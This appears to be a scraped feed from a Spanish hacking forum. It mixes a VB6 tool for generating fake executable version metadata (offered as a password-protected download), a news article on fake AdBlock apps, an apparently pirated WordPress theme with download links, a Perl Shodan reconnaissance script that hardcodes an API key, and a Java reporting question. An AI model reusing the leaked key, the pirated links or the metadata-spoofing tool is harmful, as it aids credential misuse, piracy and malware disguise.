Quantcast
Channel: Comunidad Underground Hispana
Viewing all 11602 articles
Browse latest View live

[VB6] File info gerador

$
0
0



Código:

1 VERSIONINFO
FILEVERSION 9,94949,1172,07
PRODUCTVERSION 9,94949,1172,07
FILEOS 0x4
FILETYPE 0x1
{
BLOCK "StringFileInfo"
{
          BLOCK "040904E4"
                  {
                VALUE"CompanyName","úq°°Øtv•…õ"
                VALUE"FileDescription","•tJw*…½ó§õ h²ó…d¢°y•d ……‘SF“°·øó"
                VALUE"FileVersion","9.94949.1172"
                VALUE"InternalName","H¬…æÍ×…Ì…….EXE"
                VALUE"LegalCopyright","×ø¼óöø•ði‚ (C) “rö•×*È“ú• Corp. 2054"
                VALUE"OriginalFilename","H¬…æÍ×…Ì…….EXE"
                VALUE"ProductName","H¬…æÍ×…Ì……"
                VALUE"ProductVersion","9.94949.1172"
                  }
}
BLOCK  "VarFileInfo"
{
          VALUE"Translation",0x0409    0x04E4
}
}


ARCHIVO LIMPIO Y FUNCIONAL

DESCARGA
https://www.sendspace.com/file/urn6z6

CONTRASEÑA
Código:

123

Como subir nuestra firma.

$
0
0
Hola a todos, bueno para aquellos usuarios nuevos que deseen saber como insertar su firma para que aparezca en los mensajes les dejo a continuacion un mini video tutorial explicativo.

Espero que les guste, y que les sea muy util.

Nota: Este tema fue actualizado, el tema original creado por RexMaster lo pueden encontrar aca Tema Original




PD: Cualquier otra duda favor no duden en preguntar.

AdBlocks falsos en Chrome Web Store que llevan a... ¿adware?

$
0
0
Ninguna plataforma está libre del abuso. Chrome Web Store ha sido aprovechada como plataforma por creadores de adware en el pasado, principalmente inyectores de anuncios o malware en general. De hecho, Google acaba de eliminar casi 200 extensiones ofensivas que afectaban a 14 millones de usuarios. Pero, ¿y si las apps y las extensiones fueran "una vía" para convencer de la instalación de otro software o la visita de una página? ¿Apps y extensiones como fórmula de spam? Esto ha estado pasando durante un tiempo con "AdBlocks" falsos que llevan a otro anti-adware ruso, usando la Web Store como una plataforma para su spam.

Es, de alguna forma, una situación similar a cuando encontramos AdBlocks falsos en Google Play o el reciente uso de Google Play Books como plataforma para esparcir adware y malware. Chrome Web Store aloja AdBlocks falsos, una de las extensiones más populares para el navegador. Estas apps no son dañinas por sí mismas, puesto que se trata de redirectores a otros sitios desde donde se ofrecen otros programas. No resulta especialmente peligroso... por ahora. La técnica podría tener bastante éxito para los atacantes que quieran "spamear" su contenido, programas, adware o cualquier otra cosa. ¿Significa que Chrome Web Store almacena adware/malware directamente en estas extensiones o apps falsas? No, (alojan principalmente algunos inyectores de anuncios, pero intentan eliminarlos), pero lo que permiten es subir extensiones y apps falsas que se aprovechan de una marca reputada como AdBlock para confundir a los usuarios y conseguir que descarguen cualquier otra cosa. Nada nuevo, excepto por la plataforma utilizada.

Cómo funcionan

Los AdBlock falsos detectados son típicas y simples apps de Chrome. Hemos encontrado el mismo programa con ligeras diferencias bajo distintas cuentas de desarrolladores. Aquí algunos ejemplos, (no todos aparecen a la vez):


Estas apps no necesitan permisos. Algo extraño cuando no "imposible" si fuera el AdBlock real, puesto que estas apps deberían ser capaces de leer y modificar los datos de las páginas visitadas. Es más, deberían ser extensiones más que apps.


Internamente, lo único que hacen estas apps es esto:


  • chrome.runtime.onInstalled.addListener: Significa que, una vez se ha instalado la app, se abrirá la página del parámetro en Chrome.
  • chrome.app.runtime.onLaunched.addListener: Significa que, una vez se lance la app, se visitará la página en Chrome.
  • Las URLS se van modificando en diferentes apps subidas al Store.


Hacia dónde apuntan

Estos son los enlaces vistos hasta ahora:

  • hxxp://www.appforbrowsers.com/adguard.html
  • hxxp://www.surprisess.com/adguard.html
  • hxxp://www.appforchrome.com/adguard.html



Y estos son otros que, después de pasar por algún tipo de agregador de apps, redirigen al verdadero AdBlock.

  • hxxp://prodownnet.info/adblock-super/
  • hxxp://appstoreonline.*************/search/label/adblock%20chrome
  • hxxp://appstoreonline.*************/search/label/adblock%20youtube



La mayoría parece que llevan a páginas que animan al usuario a descargar un programa llamado Adguard. Se supone que se trata de un ad-blocker para PC que cuenta con sus propias extensiones para diferentes navegadores. ¿Es esto adware disfrazado de anti-adware? La respuesta nunca es fácil. Google bloquea el sitio de descarga cuando se visita con Chrome, al menos hasta hace unos días. Significa que Google (y puede que solo ellos) piensan que esta URL debe encontrarse en su lista negra.


Sabemos que la app de Adguard fue eliminada (puede que por Google, puede que por otros) de Google Play el pasado diciembre. Además, algunos motores en VirusTotal piensan que se trata de algún tipo de malware, y lo detectan con firmas genéricas (excepto Rising, el antivirus chino).


Podría tratarse de un falso positivo, algo que no ha sido ampliamente descubierto todavía, o quizás ese tipo de software que siendo legal, se mueve en la zona gris en la que los antivirus deben "respetarlo" y no detectarlo... pero que en cualquier caso resultan molestos y potencialmente dañinos para los usuarios una vez instalados.

La única forma de saberlo realmente, sería a través de un análisis manual. El análisis rápido del instalador muestra que cambia a menudo, y que se trata solo de un descargador de la instalación principal del programa: download.adguard.com/setup.exe que es el programa en sí y que, una vez más, es detectado por un motor con firmas genéricas, lo que no significa nada. Aunque Google y algunos AVs lo estén detectando, se trata, muy probablemente, de un programa que no resulta peligroso. Incluso es posible que no sean los responsables directos de estos falsos AdBlocks, puesto que podrían llevar un programa de recompensas por terceros que le proporcionen descargas.. quién sabe.

Conclusiones

Lo importante no es tanto que apps falsas de Chrome lleven a un bloqueador de anuncios, sino que las conclusiones podrían ser:

  • Obvio, pero cualquier plataforma es susceptible de que se abuse y "spamee" a través de ella. Chrome Web Store está siendo aprovechada de forma "inocente" (aparte de los inyectores de ads) con estas apps falsas, para inducir al usuario a visitar y descargar otro software. Usar el mismo nombre e icono que programas reputados como cebo, parece muy efectivo para los atacantes... pero también muy fácil de rastrear y evitar para la Store.
  • Aunque parece redirigir a otro software en una campaña de spam que apunta a conseguir más visitas y poco más por ahora... ¿y si redirigiese a otra web? ¿Sería tan efectivo desde el punto de vista de los atacantes como los inyectores de anuncios con 14 millones de usuarios afectados? Puede que se vean más apps como estas en un futuro cercano que lleven a adware agresivo realmente o a malware.
  • Los usuarios deben tener cuidado a la hora de interpretar los resultados de los antivirus, para bien y para mal. Los falsos positivos se dan... y por supuesto también los falsos negativos. Pero con un ratio suficiente de cada grupo, el usuario medio nunca puede saberlo exactamente



Fuente: Eleven Paths

NewsPlu5 v1.8.0 - Magazine Editorial WordPress Theme

$
0
0


News************ v1.8.0 - Magazine Editorial WordPress Theme | 3.73 MB

News************ es un tema de WordPress uso múltiple diseñado para la revista en línea, el blog de tecnología, noticias y empresas editoriales. El tema es totalmente sensible, la retina listo y la capacidad de calibración trazado proporcional. Las características clave incluyen la localización del idioma, la optimización de SEO y Micro-formatos, soporte RTL, cortos códigos visuales, plantillas personalizadas, formatos de correo, opciones de tema, widgets personalizados, y mucho más.

Código:

página del producto: http://themeforest.net/item/news************-magazineeditorial-wordpress-theme/4208250
Download Links:

Código:

http://ul.to/g968w2gx
Código:

http://turbobit.net/4gxnwd80n7xq.html
Código:

http://www.filefactory.com/file/2qkx5an4fwqf/News************%20v1.8.0%20-%20Magazine%20Editorial%20WordPress%20Theme.zip
Código:

http://dfiles.eu/files/7zcxxqab6

[Perl] Shodan Tool 0.6

$
0
0
Un simple script para hacer busquedas en Shodan con las siguientes opciones :

[+] Buscar resultados por IP
[+] Buscar resultados por cantidad
[+] Busqueda normal
[+] Listar los query guardados
[+] Busca los query guardados que ya fueron buscados
[+] Lista los tags mas populares
[+] Lista todos los servicios que shodan encuentra
[+] DNS Lookup
[+] Reverse DNS Lookup
[+] Te devuelve tu IP
[+] Te da informacion sobre tu API

Es necesario que tengan una API Key suya para poder usar la API de Shodan.

Un video con ejemplos de uso :



El codigo :

Código:

#!usr/bin/perl
#Shodan Tool 0.6
#(C) Doddy Hackman 2015
#Based on : https://developer.shodan.io/api
#ppm install http://www.eekboek.nl/dl/ppms/Crypt-SSLeay.ppd
#ppm install http://www.bribes.org/perl/ppm/JSON.ppd

use LWP::UserAgent;
use JSON;
use Getopt::Long;
use Color::Output;
Color::Output::Init;
use IO::Socket;

my $nave = LWP::UserAgent->new( ssl_opts => { verify_hostname => 1 } );
$nave->agent(
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
);
$nave->timeout(5);

my $api_key = "LY10TuYViggY3GXRzLOUxdp6Kk3Lu9sa";

GetOptions(
    "ip=s"          => \$ip,
    "count=s"        => \$count,
    "search=s"      => \$search,
    "query"          => \$query,
    "query_search=s" => \$query_search,
    "query_tags"    => \$query_tags,
    "services"      => \$services,
    "resolve=s"      => \$resolve,
    "reverse=s"      => \$reverse,
    "myip"          => \$myip,
    "api_info"      => \$api_info
);

head();

if ( $ip ne "" ) {
    if ( $ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ ) {
        print by_ip($ip);
    }
    else {
        my $get = gethostbyname($ip);
        my $ip  = inet_ntoa($get);
        by_ip($ip);
    }
}
elsif ( $count ne "" ) {
    by_count($count);
}
elsif ( $search ne "" ) {
    by_search($search);
}
elsif ( $query ne "" ) {
    by_query();
}
elsif ($query_search) {
    by_query_search($query_search);
}
elsif ($query_tags) {

    by_query_tags($query_tags);

}
elsif ( $services ne "" ) {
    list_services();
}
elsif ( $resolve ne "" ) {
    resolve($resolve);
}
elsif ( $reverse ne "" ) {
    reverse_now($reverse);
}
elsif ( $myip ne "" ) {
    my_ip();
}
elsif ( $api_info ne "" ) {
    api_info();
}
else {
    sintax();
}

copyright();

# Functions

sub by_query_tags {

    printear_titulo("\n[+] Listening the most popular tags  ...\n\n");

    my $code =
      toma( "https://api.shodan.io/shodan/query/tags?key=" . $api_key );

    $resultado = JSON->new->decode($code);

    my $total = $resultado->{'total'};

    if ( $total ne "" ) {
        printear("[+] Total : ");
        print $total. "\n\n";
    }
    else {
        printear("[-] WTF !");
    }

    my $i = 0;

    my @encontrados = @{ $resultado->{'matches'} };
    foreach my $encontrado (@encontrados) {
        my $value = $encontrado->{"value"};
        my $count = $encontrado->{"count"};

        $i++;
        print "-------------------------------------\n\n";
        if ( $value ne "" ) {
            printear("[+] Value : ");
            print $value. "\n";
        }

        if ( $count ne "" ) {
            printear("[+] Count : ");
            print $count. "\n";
        }

        print "\n-------------------------------------\n";

        if ( $i % 5 == 0 ) {
            printear("\n[+] Press enter to show more\n");
            <STDIN>;
        }

    }

}

sub by_query_search {

    my $query = $_[0];

    printear_titulo(
        "\n[+] Searching in the directory of saved search queries ...\n\n");

    my $code =
      toma( "https://api.shodan.io/shodan/query/search?key="
          . $api_key
          . "&query="
          . $query );

    $resultado = JSON->new->decode($code);

    my $total = $resultado->{'total'};

    if ( $total ne "" ) {
        printear("[+] Total : ");
        print $total. "\n\n";
    }
    else {
        printear("[-] WTF !");
    }

    my $i = 0;

    my @encontrados = @{ $resultado->{'matches'} };
    foreach my $encontrado (@encontrados) {
        $i++;
        print "-------------------------------------\n\n";
        my $votes      = $encontrado->{"votes"};
        my $description = $encontrado->{"description"};
        my $title      = $encontrados->{"title"};
        my $timestamp  = $encontrados->{"timestamp"};
        my $query      = $encontrados->{"query"};

        if ( $votes ne "" ) {
            printear("[+] Votes : ");
            print $votes. "\n";
        }

        if ( $description ne "" ) {
            printear("[+] Description : ");
            print $description. "\n\n";
        }

        if ( $title ne "" ) {
            printear("[+] Title : ");
            print $title. "\n";
        }

        if ( $timestamp ne "" ) {
            printear("[+] Timestamp : ");
            print $timestamp. "\n";
        }

        if ( $query ne "" ) {
            printear("[+] Query : ");
            print $query. "\n";
        }

        printear("[+] Tags : ");
        my @tags = @{ $encontrado->{'tags'} };
        foreach my $tag (@tags) {
            print $tag. "\t";
        }
        print "\n";

        print "\n-------------------------------------\n";

        if ( $i % 5 == 0 ) {
            printear("\n[+] Press enter to show more\n");
            <STDIN>;
        }

    }

}

sub by_query {

    printear_titulo("\n[+] Listening the saved search queries ...\n\n");

    my $code = toma( "https://api.shodan.io/shodan/query?key=" . $api_key );
    $resultado = JSON->new->decode($code);

    my $total = $resultado->{'total'};

    if ( $total ne "" ) {
        printear("[+] Total : ");
        print $total. "\n\n";
    }
    else {
        printear("[-] WTF !");
    }

    my $i = 0;

    my @encontrados = @{ $resultado->{'matches'} };
    foreach my $encontrado (@encontrados) {
        $i++;
        print "-------------------------------------\n\n";
        my $votes      = $encontrado->{"votes"};
        my $description = $encontrado->{"description"};
        my $title      = $encontrados->{"title"};
        my $timestamp  = $encontrados->{"timestamp"};
        my $query      = $encontrados->{"query"};

        if ( $votes ne "" ) {
            printear("[+] Votes : ");
            print $votes. "\n";
        }

        if ( $description ne "" ) {
            printear("[+] Description : ");
            print $description. "\n\n";
        }

        if ( $title ne "" ) {
            printear("[+] Title : ");
            print $title. "\n";
        }

        if ( $timestamp ne "" ) {
            printear("[+] Timestamp : ");
            print $timestamp. "\n";
        }

        if ( $query ne "" ) {
            printear("[+] Query : ");
            print $query. "\n";
        }

        printear("[+] Tags : ");
        my @tags = @{ $encontrado->{'tags'} };
        foreach my $tag (@tags) {
            print $tag. "\t";
        }
        print "\n";

        print "\n-------------------------------------\n";

        if ( $i % 5 == 0 ) {
            printear("\n[+] Press enter to show more\n");
            <STDIN>;
        }

    }

}

sub list_services {

    printear_titulo("\n[+] Listening all services that Shodan crawls ...\n\n");

    my $code = toma( "https://api.shodan.io/shodan/services?key=" . $api_key );
    if ( $code ne "" ) {
        my $i = 0;
        while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
            $i++;
            my $port = $1;
            my $name = $2;
            printear("[+] Port : ");
            print $port. "\n";
            printear("[+] Name : ");
            print $name. "\n\n";

            if ( $i % 20 == 0 ) {
                printear("\n[+] Press enter to show more\n");
                <STDIN>;
            }

        }
    }
    else {
        print "[-] WTF !" . "\n";
    }

}

sub resolve {

    my $hostnames = $_[0];

    printear_titulo("\n[+] Working in DNS Lookup ...\n\n");

    my $code =
      toma( "https://api.shodan.io/dns/resolve?hostnames="
          . $hostnames . "&key="
          . $api_key );
    if ( $code ne "" ) {
        while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
            my $host = $1;
            my $ip  = $2;
            printear("[+] Hostname : ");
            print $host. "\n";
            printear("[+] IP : ");
            print $ip. "\n";
        }
    }
    else {
        printear( "[-] WTF !" . "\n" );
    }

}

sub reverse_now {

    $ips = $_[0];

    printear_titulo("\n[+] Working in Reverse DNS Lookup ...\n\n");

    my $code = toma(
        "https://api.shodan.io/dns/reverse?ips=" . $ips . "&key=" . $api_key );
    if ( $code ne "" ) {
        while ( $code =~ /"(.*?)": \["(.*?)"\]/migs ) {
            my $ip  = $1;
            my $host = $2;
            printear("[+] IP : ");
            print $ip. "\n";
            printear("[+] Hostname : ");
            print $host. "\n";
        }
    }
    else {
        printear( "[-] WTF !" . "\n" );
    }
}

sub my_ip {
    printear_titulo("\n[+] Getting your IP ...\n\n");
    my $code = toma( "https://api.shodan.io/tools/myip?key=" . $api_key );
    if ( $code =~ /"(.*)"/ ) {
        my $ip = $1;
        printear("[+] IP : ");
        print $ip. "\n";
    }
    else {
        printear( "[-] WTF !" . "\n" );
    }
}

sub api_info {

    printear_titulo("\n[+] Getting your API Info ...\n\n");

    my $code = toma( "https://api.shodan.io/api-info?key=" . $api_key );

    $resultado = JSON->new->decode($code);
    my $unlock_left = $resultado->{"unlocked_left"};
    my $telnet      = $resultado->{"telnet"};
    my $plan        = $resultado->{"plan"};
    my $http        = $resultado->{"https"};
    my $unlocked    = $resultado->{"unlocked"};

    if ( $unlock_left ne "" ) {
        printear("[+] Unlocked left : ");
        print $unlock_left. "\n";
    }
    if ( $telnet ne "" ) {
        printear("[+] Telnet : ");
        print $telnet. "\n";
    }
    if ( $plan ne "" ) {
        printear("[+] Plan : ");
        print $plan. "\n";
    }
    if ( $http ne "" ) {
        printear("[+] HTTPS : ");
        print $http. "\n";
    }
    if ( $unlocked ne "" ) {
        printear("[+] Unlocked : ");
        print $unlocked. "\n";
    }

}

sub by_count {

    my $query  = $_[0];
    my $fecets = "";

    printear_titulo("\n[+] Searching in Shodan without Results ...\n\n");

    my $code =
      toma( "https://api.shodan.io/shodan/host/count?key="
          . $api_key
          . "&query="
          . $query
          . "&facets="
          . $facets );

    $resultado = JSON->new->decode($code);
    my $total = $resultado->{"total"};
    if ( $total ne "" ) {
        printear("[+] Total : ");
        print $total. "\n";
    }
    else {
        printear( "[-] WTF !" . "\n" );
    }

}

sub by_ip {

    my $target = $_[0];

    printear("\n[+] Target : ");
    print $target. "\n";

    printear_titulo("\n[+] Getting Host Information ...\n\n");

    my $code = toma(
        "https://api.shodan.io/shodan/host/" . $target . "?key=" . $api_key );
    $resultado = JSON->new->decode($code);

    my $ip          = $resultado->{'ip'};
    my $country_name = $resultado->{'country_name'};
    my $country_code = $resultado->{'country_code'};
    my $region_name  = $resultado->{'region_name'};
    my $postal_code  = $resultado->{'postal_code'};

    if ( $ip ne "" ) {
        printear("[+] IP : ");
        print $ip. "\n";
    }
    if ( $country_name ne "" ) {
        printear("[+] Country Name : ");
        print $country_name. "\n";
    }
    if ( $country_code ne "" ) {
        printear("[+] Country Code : ");
        print $country_code. "\n";
    }
    if ( $region_name ne "" ) {
        printear("[+] Area Code : ");
        print $region_name. "\n";
    }
    if ( $postal_code ne "" ) {
        printear("[+] Postal Code : ");
        print $postal_code. "\n";
    }
    printear("[+] Hostnames : ");
    my @hostnames = @{ $resultado->{'hostnames'} };
    foreach my $host (@hostnames) {
        print $host. "\t";
    }
    print "\n";
    printear_titulo("\n[+] Getting Data ...\n\n");
    my $i          = 0;
    my @encontrados = @{ $resultado->{'data'} };
    foreach my $encontrado (@encontrados) {
        $i++;
        print "-------------------------------------\n\n";
        my $ip          = $encontrado->{"ip_str"};
        my $country      = $encontrado->{"location"}{"country_name"};
        my $product      = $encontrado->{"product"};
        my $version      = $encontrado->{"version"};
        my $data        = $encontrado->{"data"};
        my $cpe          = $encontrado->{"cpe"};
        my $time        = $encontrado->{"timestamp"};
        my $last_updated = $encontrado->{"last_update"};
        my $port        = $encontrado->{"port"};
        my $os          = $encontrado->{"os"};
        my $isp          = $encontrado->{"isp"};
        my $ans          = $encontrado->{"ans"};
        my $banner      = $encontrado->{"banner"};

        if ( $ip ne "" ) {
            printear("[+] IP : ");
            print $ip. "\n";
        }
        if ( $port ne "" ) {
            printear("[+] Port : ");
            print $port. "\n";
        }
        printear("[+] Hostnames : ");
        my @hostnames2 = @{ $encontrado->{'hostnames'} };
        foreach my $host2 (@hostnames2) {
            print $host2. "\t";
        }
        print "\n";
        if ( $country ne "" ) {
            printear("[+] Country : ");
            print $country. "\n";
        }
        if ( $product ne "" ) {
            printear("[+] Product : ");
            print $product. "\n";
        }
        if ( $version ne "" ) {
            printear("[+] Version : ");
            print $version. "\n";
        }
        if ( $data ne "" ) {
            printear("[+] Data : ");
            print "\n\n" . $data . "\n";
        }
        if ( $time ne "" ) {
            printear("[+] Time : ");
            print $time. "\n";
        }
        if ( $last_updated ne "" ) {
            printear("[+] Last Updated : ");
            print $last_updated. "\n";
        }
        if ( $cpe ne "" ) {
            printear("[+] CPE : ");
            print $cpe. "\n";
        }
        if ( $os ne "" ) {
            printear("[+] OS : ");
            print $os. "\n";
        }
        if ( $isp ne "" ) {
            printear("[+] ISP : ");
            print $isp. "\n";
        }
        if ( $asn ne "" ) {
            printear("[+] ASN : ");
            print $ans. "\n";
        }
        if ( $banner ne "" ) {
            printear("[+] Banner : ");
            print $banner. "\n";
        }
        print "\n-------------------------------------\n";

        if ( $i % 5 == 0 ) {
            printear("\n[+] Press enter to show more\n");
            <STDIN>;
        }

    }

}

sub by_search {

    my $target = $_[0];

    printear("[+] Target : ");
    print $target. "\n";

    printear_titulo("\n[+] Searching in Shodan ...\n\n");

    my $code =
      toma( "https://api.shodan.io/shodan/host/search?key="
          . $api_key
          . "&query="
          . $target
          . "&facets=" );

    $resultado = JSON->new->decode($code);

    my $total = $resultado->{'total'};

    if ( $total ne "" ) {
        printear("[+] Total : ");
        print $total. "\n";
    }
    else {
        printear("[-] WTF !");
    }

    my $ip          = $resultado->{'ip'};
    my $country_name = $resultado->{'country_name'};
    my $country_code = $resultado->{'country_code'};
    my $region_name  = $resultado->{'region_name'};
    my $postal_code  = $resultado->{'postal_code'};

    if ( $ip ne "" ) {
        printear("[+] IP : ");
        print $ip. "\n";
    }
    if ( $country_name ne "" ) {
        printear("[+] Country Name : ");
        print $country_name. "\n";
    }
    if ( $country_code ne "" ) {
        printear("[+] Country Code : ");
        print $country_code. "\n";
    }
    if ( $region_name ne "" ) {
        printear("[+] Area Code : ");
        print $region_name. "\n";
    }
    if ( $postal_code ne "" ) {
        printear("[+] Postal Code : ");
        print $postal_code. "\n";
    }

    if ( $resultado->{'hostnames'}[0] ne "" ) {
        printear("[+] Hostnames : ");
        my @hostnames = @{ $resultado->{'hostnames'} };
        foreach my $host (@hostnames) {
            print $host. "\t";
        }
        print "\n";
    }

    printear_titulo("\n[+] Getting Data ...\n\n");

    my $i = 0;

    my @encontrados = @{ $resultado->{'matches'} };
    foreach my $encontrado (@encontrados) {
        $i++;
        print "-------------------------------------\n\n";
        my $ip          = $encontrado->{"ip_str"};
        my $country      = $encontrado->{"location"}{"country_name"};
        my $product      = $encontrado->{"product"};
        my $version      = $encontrado->{"version"};
        my $data        = $encontrado->{"data"};
        my $cpe          = $encontrado->{"cpe"};
        my $time        = $encontrado->{"timestamp"};
        my $last_updated = $encontrado->{"last_update"};
        my $port        = $encontrado->{"port"};
        my $os          = $encontrado->{"os"};
        my $isp          = $encontrado->{"isp"};
        my $ans          = $encontrado->{"ans"};
        my $banner      = $encontrado->{"banner"};

        if ( $ip ne "" ) {
            printear("[+] IP : ");
            print $ip. "\n";
        }
        if ( $port ne "" ) {
            printear("[+] Port : ");
            print $port. "\n";
        }
        printear("[+] Hostnames : ");
        my @hostnames2 = @{ $encontrado->{'hostnames'} };
        foreach my $host2 (@hostnames2) {
            print $host2. "\t";
        }
        print "\n";
        if ( $country ne "" ) {
            printear("[+] Country : ");
            print $country. "\n";
        }
        if ( $product ne "" ) {
            printear("[+] Product : ");
            print $product. "\n";
        }
        if ( $version ne "" ) {
            printear("[+] Version : ");
            print $version. "\n";
        }
        if ( $data ne "" ) {
            printear("[+] Data : ");
            print "\n\n" . $data . "\n";
        }
        if ( $time ne "" ) {
            printear("[+] Time : ");
            print $time. "\n";
        }
        if ( $last_updated ne "" ) {
            printear("[+] Last Updated : ");
            print $last_updated. "\n";
        }
        if ( $cpe ne "" ) {
            printear("[+] CPE : ");
            print $cpe. "\n";
        }
        if ( $os ne "" ) {
            printear("[+] OS : ");
            print $os. "\n";
        }
        if ( $isp ne "" ) {
            printear("[+] ISP : ");
            print $isp. "\n";
        }
        if ( $asn ne "" ) {
            printear("[+] ASN : ");
            print $ans. "\n";
        }
        if ( $banner ne "" ) {
            printear("[+] Banner : ");
            print $banner. "\n";
        }
        print "\n-------------------------------------\n";

        if ( $i % 5 == 0 ) {
            printear("\n[+] Press enter to show more\n");
            <STDIN>;
        }

    }

}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub sintax {
    printear("\n[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-ip <ip> : Host Information\n";
    print "-count <query> : Search Shodan without Results\n";
    print "-search <query> : Search Shodan\n";
    print "-query : List the saved search queries\n";
    print
      "-query_search <query> : Search the directory of saved search queries\n";
    print "-query_tags : List the most popular tags\n";
    print "-services : List all services that Shodan crawls\n";
    print "-resolve <host> : DNS Lookup\n";
    print "-reverse <ip> : Reverse DNS Lookup\n";
    print "-myip : My IP Address\n";
    print "-api_info : API Plan Information\n";
    printear("\n[+] Example : ");
    print "perl shodan.pl -search petardas\n";
    copyright();
}

sub head {
    printear_logo("\n-- == Shodan Tool 0.6 == --\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
    exit(1);
}

# The End ?

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Exportar a excel un reporte desde java

$
0
0
Hola deseo exportar un reporte a excel estoy usando netbeans 4.7 e IReport 4.7, este es mi código:

//Librerías
import java.io.File;
import java.sql.*;
import java.util.HashMap;
import java.util.Map;
import javax.swing.*;
import net.sf.jasperreports.engine.JRExporter;
import net.sf.jasperreports.engine.JRExporterParameter;
import net.sf.jasperreports.engine.JasperFillManager;
import net.sf.jasperreports.engine.JasperPrint;
import net.sf.jasperreports.engine.JasperReport;
import net.sf.jasperreports.engine.export.JExcelApiExport erParameter;
import net.sf.jasperreports.engine.export.JRPdfExporter;
import net.sf.jasperreports.engine.export.JRXlsExporter;
import net.sf.jasperreports.engine.util.JRLoader;


String urlreporte = "src/Rpt01.jasper";
String destino = "C:\\Rpt01.xls";
try
{
//Map parametros = new HashMap();
JasperReport jasperReport=(JasperReport)JRLoader.loadObject(url reporte);
JasperPrint reporte = JasperFillManager.fillReport(urlreporte, null, con);
JRXlsExporter exporterXLS = new JRXlsExporter();
exporterXLS.setParameter(JExcelApiExporterParamete r.IS_DETECT_CELL_TYPE, Boolean.TRUE);
exporterXLS.setParameter(JExcelApiExporterParamete r.IS_REMOVE_EMPTY_SPACE_BETWEEN_COLUMNS , Boolean.TRUE);
exporterXLS.setParameter(JExcelApiExporterParamete r.IS_REMOVE_EMPTY_SPACE_BETWEEN_ROWS , Boolean.TRUE);
exporterXLS.setParameter(JExcelApiExporterParamete r.SHEET_NAMES, "Rpt");
exporterXLS.setParameter(JExcelApiExporterParamete r.IGNORE_PAGE_MARGINS , Boolean.TRUE);
exporterXLS.setParameter(JExcelApiExporterParamete r.MAXIMUM_ROWS_PER_SHEET,5000);
exporterXLS.setParameter(JExcelApiExporterParamete r.IS_COLLAPSE_ROW_SPAN , Boolean.FALSE);
exporterXLS.setParameter(JExcelApiExporterParamete r.IS_FONT_SIZE_FIX_ENABLED , Boolean.TRUE);
exporterXLS.setParameter(JExcelApiExporterParamete r.JASPER_PRINT_LIST, urlreporte);
exporterXLS.setParameter(JExcelApiExporterParamete r.OUTPUT_FILE, new File(destino));
exporterXLS.setParameter(JExcelApiExporterParamete r.CHARACTER_ENCODING, "UTF-8");
exporterXLS.exportReport();
}
catch(Exception e)
{
System.err.println( "Error iReport: " + e.getMessage() );
}

y este es el error que me manda:

Exception in thread "AWT-EventQueue-0" java.lang.NoClassDefFoundError: org/apache/poi/ss/usermodel/Sheet
at Inicio.Rpt1ActionPerformed(Inicio.java:107)
at Inicio.access$000(Inicio.java:17)
at Inicio$1.actionPerformed(Inicio.java:63)
at javax.swing.AbstractButton.fireActionPerformed(Abs tractButton.java:2018)
at javax.swing.AbstractButton$Handler.actionPerformed (AbstractButton.java:2341)
at javax.swing.DefaultButtonModel.fireActionPerformed (DefaultButtonModel.java:402)
at javax.swing.DefaultButtonModel.setPressed(DefaultB uttonModel.java:259)
at javax.swing.plaf.basic.BasicButtonListener.mouseRe leased(BasicButtonListener.java:252)
at java.awt.Component.processMouseEvent(Component.jav a:6516)
at javax.swing.JComponent.processMouseEvent(JComponen t.java:3321)
at java.awt.Component.processEvent(Component.java:628 1)
at java.awt.Container.processEvent(Container.java:222 9)
at java.awt.Component.dispatchEventImpl(Component.jav a:4872)
at java.awt.Container.dispatchEventImpl(Container.jav a:2287)
at java.awt.Component.dispatchEvent(Component.java:46 98)
at java.awt.LightweightDispatcher.retargetMouseEvent( Container.java:4832)
at java.awt.LightweightDispatcher.processMouseEvent(C ontainer.java:4492)
at java.awt.LightweightDispatcher.dispatchEvent(Conta iner.java:4422)
at java.awt.Container.dispatchEventImpl(Container.jav a:2273)
at java.awt.Window.dispatchEventImpl(Window.java:2719 )
at java.awt.Component.dispatchEvent(Component.java:46 98)
at java.awt.EventQueue.dispatchEventImpl(EventQueue.j ava:740)
at java.awt.EventQueue.access$300(EventQueue.java:103 )
at java.awt.EventQueue$3.run(EventQueue.java:699)
at java.awt.EventQueue$3.run(EventQueue.java:697)
at java.security.AccessController.doPrivileged(Native Method)
at java.security.ProtectionDomain$1.doIntersectionPri vilege(ProtectionDomain.java:76)
at java.security.ProtectionDomain$1.doIntersectionPri vilege(ProtectionDomain.java:87)
at java.awt.EventQueue$4.run(EventQueue.java:713)
at java.awt.EventQueue$4.run(EventQueue.java:711)
at java.security.AccessController.doPrivileged(Native Method)
at java.security.ProtectionDomain$1.doIntersectionPri vilege(ProtectionDomain.java:76)
at java.awt.EventQueue.dispatchEvent(EventQueue.java: 710)
at java.awt.EventDispatchThread.pumpOneEventForFilter s(EventDispatchThread.java:242)
at java.awt.EventDispatchThread.pumpEventsForFilter(E ventDispatchThread.java:161)
at java.awt.EventDispatchThread.pumpEventsForHierarch y(EventDispatchThread.java:150)
at java.awt.EventDispatchThread.pumpEvents(EventDispa tchThread.java:146)
at java.awt.EventDispatchThread.pumpEvents(EventDispa tchThread.java:138)
at java.awt.EventDispatchThread.run(EventDispatchThre ad.java:91)
Caused by: java.lang.ClassNotFoundException: org.apache.poi.ss.usermodel.Sheet
at java.net.URLClassLoader$1.run(URLClassLoader.java: 366)
at java.net.URLClassLoader$1.run(URLClassLoader.java: 355)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.j ava:354)
at java.lang.ClassLoader.loadClass(ClassLoader.java:4 25)
at sun.misc.Launcher$AppClassLoader.loadClass(Launche r.java:308)
at sun.misc.Launcher$AppClassLoader.loadClass(Launche r.java:308)
at java.lang.ClassLoader.loadClass(ClassLoader.java:3 58)
... 39 more

